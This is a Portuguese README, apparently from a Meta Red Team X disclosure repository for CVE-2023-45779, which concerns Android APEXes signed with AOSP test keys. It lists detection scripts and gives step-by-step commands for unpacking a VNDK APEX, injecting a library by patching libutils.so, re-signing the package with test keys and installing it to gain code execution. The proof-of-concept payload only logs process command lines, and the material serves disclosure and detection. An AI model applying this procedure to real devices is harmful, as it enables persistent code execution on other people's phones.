metaredteam/rtx-cve-2023-45779Código de prova de conceito para vulnerabilidade de reutilização de chaves APEX no Android
Este repositório é fornecido NO ESTADO EM QUE SE ENCONTRA para acompanhar uma divulgação de vulnerabilidade da Meta Red Team X. Não é um projeto oficial da Meta e não será suportado como tal.
Um conjunto de scripts e artefatos que demonstram a detecção e exploração de dispositivos Android que acompanham APEXes assinados com chaves de teste do AOSP. Consulte nossa postagem no blog "Missing signs: como várias marcas esqueceram de proteger uma peça-chave do Android" para obter todos os detalhes do problema.
apex-checker/: Um conjunto de scripts Bash para salvar digests de chaves de teste conhecidas
e verificar APEXes em massa por assinaturas dessas chaves.apex-forger/: Wrappers leves em torno das ferramentas apexer e
deapexer do AOSP que facilitam descompactar, modificar e recompactar um APEX.
Como o apktool para APEXes.vndk-libt/: Código-fonte de uma biblioteca que adicionamos a um APEX vulnerável para
provar que podemos obter execução de código. Tudo o que ela faz é imprimir a linha de comando de
cada processo que a carrega no logcat.m apexer deapexer apksigner para compilar as ferramentas necessárias.envsetup.sh (o que está aqui, não o do AOSP) para apontar $AOSP
e $ANDROID_HOST_OUT para os lugares apropriados.adb shell getprop ro.build.version.sdk e adb shell getprop ro.vndk.version.adb pull /system/apex/com.android.vndk.current.apex vndk.apex.
Caso contrário, adb pull /system_ext/apex/com.android.vndk.v<NN>.apex vndk.apex,
onde <NN> é ro.vndk.version.apex-checker/check.sh vndk.apex. Se
a saída não começar com "OI" (indicando que tanto as assinaturas externas quanto as internas
são de chaves de teste), este PoC não pode ser usado (embora isso não
garanta que o dispositivo esteja seguro, pois outros APEXes ainda podem estar vulneráveis).Os hashes em apex-checker/apk-keys.txt e apex-checker/avb-keys.txt
correspondem às chaves de teste externas e internas para os seguintes APEXes. Observe que
também existem variantes -goog dessas duas listas, que foram criadas pelo
Google após nosso relatório inicial. Essas listas são, em geral, mais completas, mas
não sabemos exatamente quais chaves elas contêm.
apex-forger/unpack.sh vndk.apex vndk.libutils.so dentro do APEX extraído para carregar nosso
libt.so injetado: git apply --directory=vndk vndk-libt/libutils-v31.patch. Se
isso não funcionar (por exemplo, versão diferente do VNDK), use um editor hexadecimal para
alterar manualmente libc.so para libt.so no DT_NEEDED apropriado de
vndk/payload/lib64/libutils.so.libt.so executando ndk-build dentro de vndk-libt/. Copie
vndk-libt/libs/arm64-v8a/libt.so para vndk/payload/lib64/libt.so.canned_fs_config de apex_build_info.bp. Não há uma ferramenta para fazer
isso facilmente: o mais próximo é protoc --decode_raw <vndk/apex_build_info.bp
seguido de desescapar manualmente o campo nº 3. Coloque canned_fs_config em
vndk/.canned_fs_config, como todas as outras, para /lib64/libt.so.apex-forger/repack.sh vndk com.android.vndk.v<NN>.{pem,pubkey,pk8,x509.pem}.adb install vndk/forged.apex.adb reboot && adb logcat -s RTXPoC:D.RTXPoC, cada uma de um processo no qual podemos executar
código.